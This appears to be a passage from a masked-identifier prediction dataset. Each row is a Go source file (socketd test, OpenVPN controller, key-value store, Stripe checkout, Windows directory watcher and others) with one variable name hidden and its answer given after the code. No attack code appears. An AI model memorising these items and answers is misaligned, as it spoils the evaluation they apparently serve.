//socketd.WithLink(""sd:tcp://0.0.0.0:8602?user=abc""), ).CreateServer().Listen(new(MyListner)).Start() if err != nil { t.Error(err) return } }() //等待3秒,先启动服务器 time.Sleep(time.Second * 3) [MASK] , err := socketd.SocketD.Config( socketd.WithLink(""sd:tcp://127.0.0.1:8602?user=abc""), ).CreateClient().Open() if err != nil { t.Error(err) return } request, err := [MASK] .SendAndRequest(""/demo"", message.NewEntity(nil, []byte(""hello world!"")), 0) if err != nil { t.Error(err) return } msg, err := request.Await() if err != nil { fmt.Println(""error:"", err) } else { fmt.Println(""msg:"", msg) } stopChan := make(chan struct{}) <-stopChan } ",clientSession 397,"package controllers import ( ""github.com/astaxie/beego"" ""openvpn-manage/lib"" ""openvpn-manage/lib/server/mi"" ""openvpn-manage/models"" ) type MainController struct { BaseController } func (c *MainController) NestPrepare() { if !c.IsLogin { c.Ctx.Redirect(302, c.LoginPath()) return } c.Data[""breadcrumbs""] = &BreadCrumbs{ Title: ""Status"", } } func (c *MainController) Get() { c.Data[""sysInfo""] = lib.GetSystemInfo() lib.Dump(lib.GetSystemInfo()) client := mi.NewClient(models.GlobalCfg.MINetwork, models.GlobalCfg.MIAddress) [MASK] , err := client.GetStatus() if err != nil { beego.Error(err) } else { c.Data[""ovStatus""] = [MASK] c.Data[""ovVersion""] = [MASK] .Title } lib.Dump( [MASK] ) pid, err := client.GetPid() if err != nil { beego.Error(err) } else { c.Data[""ovPid""] = pid } lib.Dump(pid) loadStats, err := client.GetLoadStats() if err != nil { beego.Error(err) } else { c.Data[""ovStats""] = loadStats } lib.Dump(loadStats) c.TplName = ""index.html"" } ",status 398,"package app import ( ""errors"" ""fmt"" ""os"" extensionscmdcontroller ""github.com/gardener/gardener/extensions/pkg/controller/cmd"" ""github.com/gardener/gardener/extensions/pkg/controller/heartbeat"" heartbeatcmd ""github.com/gardener/gardener/extensions/pkg/controller/heartbeat/cmd"" osccontroller ""github.com/gardener/gardener/extensions/pkg/controller/operatingsystemconfig"" ""github.com/spf13/pflag"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/runtime/serializer"" utilruntime ""k8s.io/apimachinery/pkg/util/runtime"" configv1alpha1 ""github.com/gardener/gardener-extension-os-coreos/pkg/controller/config/v1alpha1"" ""github.com/gardener/gardener-extension-os-coreos/pkg/controller/config/v1alpha1/validation"" ""github.com/gardener/gardener-extension-os-coreos/pkg/controller/operatingsystemconfig"" ) // Options holds configuration passed to the service controller. type Options struct { generalOptions *extensionscmdcontroller.GeneralOptions extensionOptions *ExtensionOptions restOptions *extensionscmdcontroller.RESTOptions managerOptions *extensionscmdcontroller.ManagerOptions controllerOptions *extensionscmdcontroller.ControllerOptions heartbeatOptions *heartbeatcmd.Options controllerSwitches *extensionscmdcontroller.SwitchOptions reconcileOptions *extensionscmdcontroller.ReconcilerOptions optionAggregator extensionscmdcontroller.OptionAggregator } // ExtensionOptions holds options related to the extension (not the extension controller) type ExtensionOptions struct { configFile string Config *configv1alpha1.ExtensionConfig } var configDecoder runtime.Decoder func init() { configScheme := runtime.NewScheme() schemeBuilder := runtime.NewSchemeBuilder( configv1alpha1.AddToScheme, ) utilruntime.Must(schemeBuilder.AddToScheme(configScheme)) configDecoder = serializer.NewCodecFactory(configScheme).UniversalDecoder() } // AddFlags implements Flagger.AddFlags. func (o *ExtensionOptions) AddFlags(fs *pflag.FlagSet) { fs.StringVar(&o.configFile, ""config"", o.configFile, ""Path to configuration file."") } // Complete implements Completer.Complete. func (o *ExtensionOptions) Complete() error { if len(o.configFile) == 0 { return errors.New(""missing config file"") } data, err := os.ReadFile(o.configFile) if err != nil { return fmt.Errorf(""error reading config file: %w"", err) } o.Config = &configv1alpha1.ExtensionConfig{} if err = runtime.DecodeInto(configDecoder, data, o.Config); err != nil { return fmt.Errorf(""error decoding config: %w"", err) } return nil } func (o *ExtensionOptions) Completed() *ExtensionOptions { return o } // Apply applies the ExtensionOptions to the passed ControllerConfig instance. func (o *ExtensionOptions) Apply(config *operatingsystemconfig.Config) { config.ExtensionConfig = o.Config } func (o *ExtensionOptions) Validate() error { if [MASK] := validation.ValidateExtensionConfig(o.Config); len( [MASK] ) > 0 { return fmt.Errorf(""invalid extension config: %w"", [MASK] .ToAggregate()) } return nil } // NewOptions creates a new Options instance. func NewOptions() *Options { options := &Options{ generalOptions: &extensionscmdcontroller.GeneralOptions{}, restOptions: &extensionscmdcontroller.RESTOptions{}, managerOptions: &extensionscmdcontroller.ManagerOptions{ LeaderElection: true, LeaderElectionID: extensionscmdcontroller.LeaderElectionNameID(Name), LeaderElectionNamespace: os.Getenv(""LEADER_ELECTION_NAMESPACE""), }, controllerOptions: &extensionscmdcontroller.ControllerOptions{ MaxConcurrentReconciles: 5, }, reconcileOptions: &extensionscmdcontroller.ReconcilerOptions{}, controllerSwitches: extensionscmdcontroller.NewSwitchOptions( extensionscmdcontroller.Switch(osccontroller.ControllerName, operatingsystemconfig.AddToManager), extensionscmdcontroller.Switch(heartbeat.ControllerName, heartbeat.AddToManager), ), heartbeatOptions: &heartbeatcmd.Options{ ExtensionName: Name, RenewIntervalSeconds: 30, Namespace: os.Getenv(""LEADER_ELECTION_NAMESPACE""), }, extensionOptions: &ExtensionOptions{}, } options.optionAggregator = extensionscmdcontroller.NewOptionAggregator( options.generalOptions, options.restOptions, options.managerOptions, options.controllerOptions, options.extensionOptions, extensionscmdcontroller.PrefixOption(""heartbeat-"", options.heartbeatOptions), options.controllerSwitches, options.reconcileOptions, ) return options } func (o *Options) Validate() error { if err := o.extensionOptions.Validate(); err != nil { return err } if err := o.heartbeatOptions.Validate(); err != nil { return err } return nil } func (o *Options) Complete() error { return o.optionAggregator.Complete() } ",errs 399,"package clients import ( ""encoding/json"" ""regexp"" ""strconv"" ""sync"" ""sync/atomic"" ""time"" ""github.com/cosmos/cosmos-sdk/types/errors"" ""github.com/ethereum/go-ethereum/common"" ""github.com/ethereum/go-ethereum/common/hexutil"" ""github.com/rs/zerolog/log"" ""github.com/valyala/fasthttp"" ""loadtester/types"" ) // FastClient sends Ethereum json-rpc using fasthttp. type FastClient struct { cli *fasthttp.Client wg *sync.WaitGroup jsonRPCAddr string insufficientFundRe *regexp.Regexp invalidNonceRe *regexp.Regexp } // NewFastClient creates a new FastClient. func NewFastClient(jsonRPCAddr string) *FastClient { // TODO: configure timeouts [MASK] , _ := time.ParseDuration(""3m"") writeTimeout, _ := time.ParseDuration(""3m"") maxIdleConnDuration, _ := time.ParseDuration(""30m"") fastClient := &fasthttp.Client{ ReadTimeout: [MASK] , WriteTimeout: writeTimeout, MaxIdleConnDuration: maxIdleConnDuration, RetryIf: func(request *fasthttp.Request) bool { // no retries return false }, NoDefaultUserAgentHeader: true, // Don't send: User-Agent: fasthttp DisableHeaderNamesNormalizing: true, // If you set the case on your headers correctly you can enable this DisablePathNormalizing: true, MaxConnsPerHost: 100000, // increase DNS cache time to an hour instead of default minute Dial: (&fasthttp.TCPDialer{ Concurrency: 8192, DNSCacheDuration: time.Hour, }).Dial, } return &FastClient{ cli: fastClient, wg: &sync.WaitGroup{}, jsonRPCAddr: jsonRPCAddr, insufficientFundRe: regexp.MustCompile(`sender balance < tx cost \(\d+ < \d+\): insufficient fund`), invalidNonceRe: regexp.MustCompile(`expected (\d+)`), } } func (fc *FastClient) EthSendRawTransaction(rawTx []byte) error { req := fasthttp.AcquireRequest() defer fasthttp.ReleaseRequest(req) req.SetRequestURI(fc.jsonRPCAddr) req.SetBodyRaw(rawTx) req.Header.SetMethod(fasthttp.MethodPost) req.Header.Set(""Content-Type"", ""application/json"") resp := fasthttp.AcquireResponse() defer fasthttp.ReleaseResponse(resp) err := fc.cli.Do(req, resp) insufficientFund := fc.insufficientFundRe.Match(resp.Body()) invalidNonceMatches := fc.invalidNonceRe.FindStringSubmatch(string(resp.Body())) if err != nil { return err } var errResp types.ErrResponse if insufficientFund || invalidNonceMatches != nil { if err := json.Unmarshal(resp.Body(), &errResp); err != nil { panic(err) } } if insufficientFund { return errors.Wrap(types.ErrorInsufficientFund, errResp.Error.Message) } if invalidNonceMatches != nil && len(invalidNonceMatches) > 1 { nonce, _ := strconv.Atoi(invalidNonceMatches[1]) return &types.NonceError{ Message: errResp.Error.Message, Nonce: uint64(nonce), } } return nil } func (fc *FastClient) EthSendRawTransactionNoWaiting(rawTx []byte) error { req := fasthttp.AcquireRequest() defer fasthttp.ReleaseRequest(req) req.SetRequestURI(fc.jsonRPCAddr) req.SetBodyRaw(rawTx) req.Header.SetMethod(fasthttp.MethodPost) req.Header.Set(""Content-Type"", ""application/json"") err := fc.cli.Do(req, nil) if err != nil { return err } return nil } func (fc *FastClient) EthPendingNonce(addr common.Address) (uint64, error) { reqBody, _ := json.Marshal(map[string]interface{}{ ""jsonrpc"": ""2.0"", ""method"": ""eth_getTransactionCount"", ""params"": []interface{}{addr, ""latest""}, ""id"": 1, }) req := fasthttp.AcquireRequest() defer fasthttp.ReleaseRequest(req) req.SetRequestURI(fc.jsonRPCAddr) req.SetBodyRaw(reqBody) req.Header.SetMethod(fasthttp.MethodPost) req.Header.Set(""Content-Type"", ""application/json"") resp := fasthttp.AcquireResponse() defer fasthttp.ReleaseResponse(resp) err := fc.cli.Do(req, resp) if err != nil { return 0, err } var nonceResp types.Response var errResp types.ErrResponse if err := json.Unmarshal(resp.Body(), &nonceResp); err != nil { panic(err) } if err := json.Unmarshal(resp.Body(), &errResp); err != nil { panic(err) } if errResp.Error.Message != """" { return 0, errors.Wrap(types.ErrorFailedToFetchNonce, errResp.Error.Message) } // convert hex string to uint64 hexNonce := nonceResp.Result.(string) nonce, _ := hexutil.DecodeUint64(hexNonce) return nonce, nil } func (fc *FastClient) EthSendMultipleRawTransactions(rawTxs [][]byte, cb func(*sync.Mutex, int)) (failed int64) { mu := sync.Mutex{} for i, rawTx := range rawTxs { fc.wg.Add(1) go func(w *sync.WaitGroup, mut *sync.Mutex, idx int, data []byte) { defer w.Done() err := fc.EthSendRawTransaction(data) // TODO: Make NoWaiting version // err := ctx.fastClient.EthSendRawTransactionNoWaiting(ctx, data) if err != nil { atomic.AddInt64(&failed, 1) log.Err(err).Msg(""failed to send transaction"") return } cb(&mu, idx) }(fc.wg, &mu, i, rawTx) } fc.wg.Wait() return failed } ",readTimeout 400,"package main import ( ""golds/oops"" ""fmt"" ""os"" ""path/filepath"" ""io"" ) type User struct { Name string } func (u *User) mutate() { fmt.Println(u) u.Name = ""Anuj"" } func main() { u := &User{""Bhupesh""} fmt.Println(u) u.mutate() fmt.Println(u.Name) //createDirectory(""."" + string(filepath.Separator) + ""verifier"") //createFile(""."" + string(filepath.Separator) + ""verifier/DocumentVerifier.go"") read(""."" + string(filepath.Separator) + ""verifier/tests/DocumentVerifier_test.go"") write(""."" + string(filepath.Separator) + ""verifier/tests/DocumentVerifier_test.go"", ""\n"") write(""."" + string(filepath.Separator) + ""verifier/tests/DocumentVerifier_test.go"", ""here comes my line\n"") } func packageRun() { creature := oops.Creature{""Anuj"", true} creature.Dump() runner := oops.Runner(creature) flyingCreature := oops.FlyingCreature{creature, false} flyingCreature.Dump() runner.Run() } //file creation func exists(filePath string) (exists bool) { exists = true if _, err := os.Stat(filePath); os.IsNotExist(err) { exists = false } return } func createDirectory( [MASK] string) { //choose your permissions well pathErr := os.MkdirAll( [MASK] ,0777) //check if you need to panic, fallback or report if pathErr != nil { fmt.Println(pathErr) } } func createFile(filePath string) { file, err := os.Create(filePath) defer file.Close() //REVIEW: panic if err != nil { fmt.Println(err) } } //file read-write func read(filePath string) { f, ferr := os.OpenFile(filePath, os.O_RDONLY, 0666) if ferr != nil { fmt.Println(ferr) return } defer f.Close() data := make([]byte, 4096) for { n, err := f.Read(data) if err != nil { if err == io.EOF { break } fmt.Println(err) return } data = data[:n] fmt.Println(data) } } func write(filePath string, content string) { f, ferr := os.OpenFile(filePath, os.O_APPEND|os.O_WRONLY, os.ModeAppend) if ferr != nil { fmt.Println(ferr) return } defer f.Close() _, err := f.WriteString(content) if err != nil { fmt.Println(err) return } } ",directoryPath 401,"package peach import ( ""errors"" ""io"" ""io/ioutil"" ""log"" ""os"" ""path/filepath"" ""sort"" ""strconv"" ""strings"" ""sync"" ""time"" ""github.com/muyisensen/peach/index"" ""github.com/muyisensen/peach/index/art"" ""github.com/muyisensen/peach/utils"" ) const ( LockFileName = ""LOCK"" ) var ( ErrLogFileNotExist = errors.New(""log file not exist"") ErrKeyNotFound = errors.New(""key not found"") ) type ( DB struct { mu sync.RWMutex size int64 opts *Options index0 index.MemTable activedLogFile *LogFile offset int64 archivedLogFile map[int]*LogFile index1 index.MemTable inGc bool lastGCTime time.Time fileLock *FileLock } ) func New(opts *Options) (*DB, error) { if !utils.Exist(opts.DBPath) { if err := os.MkdirAll(opts.DBPath, os.ModePerm); err != nil { return nil, err } } db := &DB{ opts: opts, index0: art.NewAdaptiveRadixTree(opts.ArtOpt), archivedLogFile: make(map[int]*LogFile), fileLock: NewFlock(filepath.Join(opts.DBPath, LockFileName)), } if err := db.fileLock.TryLock(); err != nil { return nil, err } if err := db.reload(); err != nil { return nil, err } go db.eventHandle() return db, nil } func (db *DB) Get(key []byte) ([]byte, error) { db.mu.RLock() defer db.mu.RUnlock() memValue := db.index0.Get(key) if memValue == nil && db.index1 != nil { memValue = db.index1.Get(key) } if memValue == nil { return nil, ErrKeyNotFound } var logFile *LogFile if lf, ok := db.archivedLogFile[memValue.FileID]; ok { logFile = lf } if db.activedLogFile.FID() == memValue.FileID { logFile = db.activedLogFile } if logFile == nil { return nil, ErrLogFileNotExist } le, err := logFile.Read(memValue.Offset, memValue.Size) if err != nil { return nil, err } return le.Value, nil } func (db *DB) Put(key, value []byte) error { db.mu.Lock() defer db.mu.Unlock() size, err := db.activedLogFile.Write(db.offset, &LogEntry{ Type: Normal, Timestamp: time.Now().Unix(), Key: key, Value: value, }) if err != nil { return err } memValue := &index.MemValue{ FileID: db.activedLogFile.FID(), Offset: db.offset, Size: size, } db.offset += int64(size) var replaced *index.MemValue if db.inGc && db.index1 != nil { replaced = db.index1.Put(key, memValue) } else { replaced = db.index0.Put(key, memValue) } if replaced == nil { db.size++ } if err := db.doGc(); err != nil { log.Printf(""doGc fail, err msg: %v"", err.Error()) } if fileSize, err := db.activedLogFile.Size(); err != nil { log.Printf(""call LogFile.Size() fail, err msg: %v"", err.Error()) } else if fileSize > db.opts.LogFileSizeThreshold && !db.inGc { if err := db.switchActivedLogFile(); err != nil { log.Printf(""call switchActivedLogFile fail, err msg: %v"", err.Error()) } } return nil } func (db *DB) Delete(key []byte) error { db.mu.Lock() defer db.mu.Unlock() deleted := db.index0.Get(key) if deleted == nil && db.index1 != nil { deleted = db.index1.Get(key) } if deleted == nil { return nil } size, err := db.activedLogFile.Write(db.offset, &LogEntry{ Type: Delete, Timestamp: time.Now().Unix(), Key: key, Value: []byte{}, }) if err != nil { return err } db.offset += int64(size) if db.inGc && db.index1 != nil { db.index1.Delete(key) } else { db.index0.Delete(key) } db.size-- if err := db.doGc(); err != nil { log.Printf(""doGc fail, err msg: %v"", err.Error()) } if fileSize, err := db.activedLogFile.Size(); err != nil { log.Printf(""call LogFile.Size() fail, err msg: %v"", err.Error()) } else if fileSize > db.opts.LogFileSizeThreshold && !db.inGc { if err := db.switchActivedLogFile(); err != nil { log.Printf(""call switchActivedLogFile fail, err msg: %v"", err.Error()) } } return nil } func (db *DB) Sync() error { if err := db.activedLogFile.Sync(); err != nil { return nil } return nil } func (db *DB) Close() error { if err := db.Sync(); err != nil { return err } if err := db.activedLogFile.Close(); err != nil { return err } for _, item := range db.archivedLogFile { logFile := item if err := logFile.Close(); err != nil { return err } } return db.fileLock.ULock() } func (db *DB) Size() int64 { return db.size } func (db *DB) reload() error { infos, err := ioutil.ReadDir(db.opts.DBPath) if err != nil { return err } fids := make([]int, 0, len(infos)) for _, info := range infos { if !strings.HasPrefix(info.Name(), LogFileNamePrefix) { continue } items := strings.Split(info.Name(), ""."") if len(items) < 2 { continue } fid, err := strconv.Atoi(items[1]) if err != nil { return err } fids = append(fids, fid) } sort.Ints(fids) for i, fid := range fids { logFile, err := NewLogFile(db.opts.DBPath, fid) if err != nil { return err } offset, err := db.reloadIndex(logFile) if err != nil { return err } if i == len(fids)-1 { db.offset = offset db.activedLogFile = logFile } else { db.archivedLogFile[fid] = logFile } } if db.activedLogFile == nil { logFile, err := NewLogFile(db.opts.DBPath, 0) if err != nil { return nil } db.activedLogFile = logFile } return nil } func (db *DB) reloadIndex(lf *LogFile) (int64, error) { offset := int64(0) for { le, size, err := lf.Load(offset) switch err { case nil: case io.EOF: return offset, nil default: return 0, err } if le.Type == Delete { if deleted := db.index0.Delete(le.Key); deleted != nil { db.size-- } offset += int64(size) continue } var expiredAt *int64 if le.Type == ExpiredAt { if time.Now().Unix() < le.Timestamp { expiredAt = &le.Timestamp } else { offset += int64(size) continue } } db.index0.Put(le.Key, &index.MemValue{ FileID: lf.fid, Offset: offset, Size: size, ExpiredAt: expiredAt, }) offset += int64(size) db.size++ } } func (db *DB) eventHandle() { logFileGcTicker := time.NewTicker(db.opts.LogFileGCInterval) gcTicker := time.NewTicker(time.Second) for { select { case <-logFileGcTicker.C: if db.inGc { continue } if err := db.startGc(); err != nil { log.Printf(""start gc fail, err msg: %v"", err.Error()) } case <-gcTicker.C: if err := db.gc(); err != nil { log.Printf(""gc fail, err msg: %v"", err.Error()) } default: time.Sleep(5 * time.Second) } } } func (db *DB) startGc() error { db.mu.Lock() defer db.mu.Unlock() db.inGc = true db.index1 = art.NewAdaptiveRadixTree(db.opts.ArtOpt) db.lastGCTime = time.Now() return db.switchActivedLogFile() } func (db *DB) gc() error { now := time.Now() if !db.inGc || now.Before(db.lastGCTime.Add(5*time.Second)) { return nil } db.mu.Lock() defer db.mu.Unlock() [MASK] := time.NewTicker(500 * time.Millisecond) for { select { case <- [MASK] .C: return nil default: if err := db.doGc(); err != nil { return err } } } } func (db *DB) doGc() error { if !db.inGc { return nil } key, value := db.index0.Minimum() if len(key) == 0 || value == nil { db.index0 = db.index1 db.index1 = nil db.inGc = false return db.removeArchivedLogFile() } if value.FileID == db.activedLogFile.FID() { return nil } now := time.Now().Unix() if value.ExpiredAt != nil && *value.ExpiredAt < now { db.index0.Delete(key) db.lastGCTime = time.Now() return nil } logFile, ok := db.archivedLogFile[value.FileID] if !ok { return ErrLogFileNotExist } le, err := logFile.Read(value.Offset, value.Size) switch err { case nil: case io.EOF: return nil default: return err } size, err := db.activedLogFile.Write(db.offset, le) if err != nil { return err } value.FileID = db.activedLogFile.FID() value.Offset = db.offset db.index1.Put(key, value) db.index0.Delete(key) db.lastGCTime = time.Now() db.offset += int64(size) return nil } func (db *DB) switchActivedLogFile() error { current := db.activedLogFile currentFid := current.FID() logFile, err := NewLogFile(db.opts.DBPath, currentFid+1) if err != nil { return err } db.archivedLogFile[currentFid] = db.activedLogFile db.activedLogFile = logFile db.offset = 0 return current.Sync() } func (db *DB) removeArchivedLogFile() error { fids := make([]int, 0, len(db.archivedLogFile)) for fid := range db.archivedLogFile { fids = append(fids, fid) } sort.Ints(fids) for _, fid := range fids { if lf, ok := db.archivedLogFile[fid]; ok { if err := os.Remove(lf.Path()); err != nil { return err } delete(db.archivedLogFile, fid) } } return nil } ",timeout 402,"package main import ( ""encoding/json"" ""fmt"" ""log"" ""net/http"" ""os"" ""strconv"" ""github.com/goincremental/redlion/models"" ""github.com/mattbaird/gochimp"" stripe ""github.com/stripe/stripe-go"" charge ""github.com/stripe/stripe-go/charge"" ) func getContextAndRender(template string, w http.ResponseWriter, req *http.Request) { c, err := GetRequestContext(req) if err != nil { log.Printf(""Error getting request context: %s\n"", err) } c.Render.HTML(w, http.StatusOK, template, c) } //Home renders the default html home page func Home(w http.ResponseWriter, req *http.Request) { getContextAndRender(""home"", w, req) } //Checkout receives an order with a valid stripe token, charges the order via //stripe and then sends a confirmation email / failure email as required func Checkout(w http.ResponseWriter, req *http.Request) { ctx, err := GetRequestContext(req) decoder := json.NewDecoder(req.Body) var param models.OrderParams model := models.NewOrderParams(ctx.SiteID, ctx.DB) err = model.Save(¶m) err = decoder.Decode(¶m) if err != nil { log.Printf(""Error getting order params: %s\n"", err) w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(http.StatusInternalServerError) return } counter := models.NewCounter(ctx.SiteID, ctx.DB) next, err := counter.GetNext(""webOrderNumber"") if err != nil { w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(http.StatusInternalServerError) return } orderNum := fmt.Sprintf(""#%05d"", next) stripe.Key = os.Getenv(""STRIPE_API_KEY"") ch, err := charge.New(&stripe.ChargeParams{ Amount: param.GrandTotal(), Currency: ""gbp"", Card: &stripe.CardParams{Token: param.Token}, Desc: orderNum, }) if err != nil { stripeErr := err.(*stripe.Error) log.Printf(""stripe error: %+v\n"", stripeErr) //TODO: send an admin email w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(http.StatusInternalServerError) return } log.Printf(""STRIPE RESPONSE: %s\n"", ch.ID) mandrillKey := os.Getenv(""MANDRILL_API_KEY"") mandrillAPI, err := gochimp.NewMandrill(mandrillKey) [MASK] := []gochimp.Recipient{ gochimp.Recipient{ Email: param.Email, Name: param.Customer.BillingName, Type: ""to"", }, gochimp.Recipient{ Email: """", Name: ""After Hours Order Received"", Type: ""bcc"", }, } amt := float64(param.GrandTotal()) / 100 vars := []gochimp.Var{ gochimp.Var{ Name: ""grand_total"", Content: fmt.Sprintf(""£%.2f"", amt), }, gochimp.Var{ Name: ""quantity"", Content: fmt.Sprintf(""%d"", param.Quantity), }, gochimp.Var{ Name: ""invoice_num"", Content: orderNum, }, gochimp.Var{ Name: ""customer_name"", Content: param.Customer.BillingName, }, gochimp.Var{ Name: ""post"", Content: strconv.FormatBool(param.Post), }, } message := gochimp.Message{ Subject: ""Your after hours calendar order confirmation "" + orderNum, FromEmail: """", FromName: ""The Red Lion"", To: [MASK] , GlobalMergeVars: vars, } sendResponse, err := mandrillAPI.MessageSendTemplate(""order-confirmation"", []gochimp.Var{}, message, false) if err != nil { log.Printf(""error from mandrill: %s\n"", err) } log.Printf(""send response: %+v\n"", sendResponse) result := &models.OrderResult{ ID: orderNum, Status: ""payment completed"", } param.Result = *result err = model.Save(¶m) w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(http.StatusOK) j, _ := json.Marshal(result) w.Write(j) } ",recipients 403,"//go:build windows // +build windows // create by at 20250516 package mondir import ( ""encoding/binary"" ""os"" ""strings"" ""sync"" ""syscall"" ""time"" ""unsafe"" ""golang.org/x/sys/windows"" ) func MonDir(dir s, dof func(string)) { dir = ToAbsolutePath(dir) dirhand, [MASK] := windows.CreateFile(windows.StringToUTF16Ptr(dir), windows.FILE_LIST_DIRECTORY, windows.FILE_SHARE_WRITE|windows.FILE_SHARE_READ, nil, windows.OPEN_EXISTING, windows.FILE_FLAG_BACKUP_SEMANTICS, 0) if [MASK] != nil { return } dirchangeevent, er := windows.FindFirstChangeNotification(dir, true, windows.FILE_NOTIFY_CHANGE_CREATION|windows.FILE_NOTIFY_CHANGE_FILE_NAME|windows.FILE_NOTIFY_CHANGE_SIZE|windows.FILE_NOTIFY_CHANGE_LAST_WRITE|windows.FILE_NOTIFY_CHANGE_ATTRIBUTES|windows.FILE_NOTIFY_CHANGE_DIR_NAME) if er != nil { return } rdbuf := make([]byte, 1024*1024) pas := make(map[s]int64, 0) var pasmu sync.Mutex go func() { for { tms := nms() pasmu.Lock() for pa, ms := range pas { if tms-ms > 40 { go dof(pa) delete(pas, pa) } } pasmu.Unlock() time.Sleep(20 * time.Millisecond) } }() for true { var rdbuflen uint32 for i := 0; i < 1024*1024; i += 1 { rdbuf[i] = 0 } rder := windows.ReadDirectoryChanges( dirhand, &rdbuf[0], 1024*1024, true, windows.FILE_NOTIFY_CHANGE_CREATION|windows.FILE_NOTIFY_CHANGE_FILE_NAME|windows.FILE_NOTIFY_CHANGE_SIZE|windows.FILE_NOTIFY_CHANGE_LAST_WRITE|windows.FILE_NOTIFY_CHANGE_ATTRIBUTES|windows.FILE_NOTIFY_CHANGE_DIR_NAME, &rdbuflen, nil, 0) if rder == nil { prdbuf := rdbuf var preno, preno1 byte for true { if preno != 0 { prdbuf[0] = preno } if preno1 != 0 { prdbuf[0+1] = preno1 } var nextoff uint32 nextoff = binary.LittleEndian.Uint32(prdbuf[:4]) //cpathlen := binary.LittleEndian.Uint32(prdbuf[4:8]) preno = prdbuf[nextoff] preno1 = prdbuf[nextoff+1] prdbuf[nextoff] = 0 prdbuf[nextoff+1] = 0 subpath := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(&prdbuf[12]))) if len(subpath) > 4 && subpath[len(subpath)-4:] == "".TMP"" && (strings.Index(subpath, "".cpp~"") != -1 && strings.Index(subpath, "".cpp~"") > strings.Index(subpath, ""\\"") || strings.Index(subpath, "".cc~"") != -1 && strings.Index(subpath, "".cc~"") > strings.Index(subpath, ""\\"") || strings.Index(subpath, "".h~"") != -1 && strings.Index(subpath, "".h~"") > strings.Index(subpath, ""\\"") || strings.Index(subpath, "".hpp~"") != -1 && strings.Index(subpath, "".hpp~"") > strings.Index(subpath, ""\\"") || strings.Index(subpath, "".c~"") != -1 && strings.Index(subpath, "".c~"") > strings.Index(subpath, ""\\"")) { subpath = subpath[0:strings.Index(subpath, ""~"")] } else if len(subpath) > 12 && subpath[len(subpath)-11] == '.' && subpath[len(subpath)-10] == 'c' && subpath[len(subpath)-9] == 'p' && subpath[len(subpath)-8] == 'p' && subpath[len(subpath)-7] == '.' && subpath[len(subpath)-4] == '3' && subpath[len(subpath)-3] == '4' && subpath[len(subpath)-2] == '4' && subpath[len(subpath)-1] == '4' { subpath = subpath[0:strings.Index(subpath, ""."")] } else if len(subpath) > 10 && subpath[len(subpath)-9] == '.' && subpath[len(subpath)-8] == 'h' && subpath[len(subpath)-7] == '.' && subpath[len(subpath)-4] == '3' && subpath[len(subpath)-3] == '4' && subpath[len(subpath)-2] == '4' && subpath[len(subpath)-1] == '4' { subpath = subpath[0:strings.Index(subpath, ""."")] } else if len(subpath) > 12 && subpath[len(subpath)-11] == '.' && subpath[len(subpath)-10] == 'p' && subpath[len(subpath)-9] == 'r' && subpath[len(subpath)-8] == 'o' && subpath[len(subpath)-7] == '.' && subpath[len(subpath)-4] == '3' && subpath[len(subpath)-3] == '4' && subpath[len(subpath)-2] == '4' && subpath[len(subpath)-1] == '4' { subpath = subpath[0:strings.Index(subpath, ""."")] } else if len(subpath) > 12 && subpath[len(subpath)-11] == '.' && subpath[len(subpath)-10] == 'q' && subpath[len(subpath)-9] == 'r' && subpath[len(subpath)-8] == 'c' && subpath[len(subpath)-7] == '.' && subpath[len(subpath)-4] == '3' && subpath[len(subpath)-3] == '4' && subpath[len(subpath)-2] == '4' && subpath[len(subpath)-1] == '4' { subpath = subpath[0:strings.Index(subpath, ""."")] } else if len(subpath) > 10 && subpath[len(subpath)-9] == '.' && subpath[len(subpath)-9] == 'u' && subpath[len(subpath)-8] == 'i' && subpath[len(subpath)-7] == '.' && subpath[len(subpath)-4] == '3' && subpath[len(subpath)-3] == '4' && subpath[len(subpath)-2] == '4' && subpath[len(subpath)-1] == '4' { subpath = subpath[0:strings.Index(subpath, ""."")] } akp := StdPath(dir + subpath) st, ste := os.Stat(akp) if ste == nil && st.IsDir() == false && strings.HasSuffix(subpath, "".exe~"") == false { //fmt.Println(subpath) //dof(subpath) pasmu.Lock() pas[subpath] = nms() pasmu.Unlock() } if nextoff != 0 { prdbuf = prdbuf[nextoff:] } else { break } } } if windows.FindNextChangeNotification(dirchangeevent) != nil { break } } windows.FindCloseChangeNotification(dirchangeevent) windows.CloseHandle(dirhand) } ",dirhander 404,"package main import ( ""encoding/base64"" ""fmt"" ""os"" ""time"" ""github.com/urfave/cli"" ""strconv"" ""github.com/jsgoecke/tesla"" ) var ( // splash header, _ = base64.StdEncoding.DecodeString("""") // Version is the version of the software Version string // BuildStmp is the build date BuildStmp string // GitHash is the git build hash GitHash string // command line parameters port = 8020 confFile = ""config.json"" logLevel = ""warning"" logFormat = ""text_color"" ) func main() { // print header fmt.Println(string(header)) // setup time ref to UTC time.Local = time.UTC // create cli app cliApp := cli.NewApp() cliApp.EnableBashCompletion = true cliApp.Usage = ""xee-tesla bridge service"" [MASK] , err := strconv.Atoi(BuildStmp) if err != nil { [MASK] = 0 } cliApp.Version = Version + "", build on "" + time.Unix(int64( [MASK] ), 0).String() + "", git hash "" + GitHash cliApp.Name = ""delta"" cliApp.Authors = []cli.Author{cli.Author{Name: ""sfr""}} cliApp.Copyright = ""sebastienfr "" + strconv.Itoa(time.Now().Year()) // define flags cliApp.Flags = []cli.Flag{ cli.IntFlag{ Value: port, Name: ""port"", Usage: ""Set the listening port of the webserver"", }, cli.StringFlag{ Value: confFile, Name: ""conf"", Usage: ""Set the path of the main configuration file"", }, cli.StringFlag{ Value: logLevel, Name: ""logl"", Usage: ""Set the output log level (debug, info, warning, error)"", }, cli.StringFlag{ Value: logFormat, Name: ""logf"", Usage: ""Set the log formatter (logstash or text)"", }, } // define main loop cliApp.Action = func(c *cli.Context) error { // parse parameters port = c.Int(""port"") confFile = c.String(""conf"") logLevel = c.String(""logl"") logFormat = c.String(""logf"") fmt.Print(""* --------------------------------------------------- *\n"") fmt.Printf(""| port : %d\n"", port) fmt.Printf(""| configuration file : %s\n"", confFile) fmt.Printf(""| logger level : %s\n"", logLevel) fmt.Printf(""| logger format : %s\n"", logFormat) fmt.Print(""* --------------------------------------------------- *\n"") // TODO // use tesla go API to retrieve tesla data // 1st step log them into a file // 2nd step send them to xee, but need to create car, etc to have it working // TODO remove test purpose client, err := tesla.NewClient( 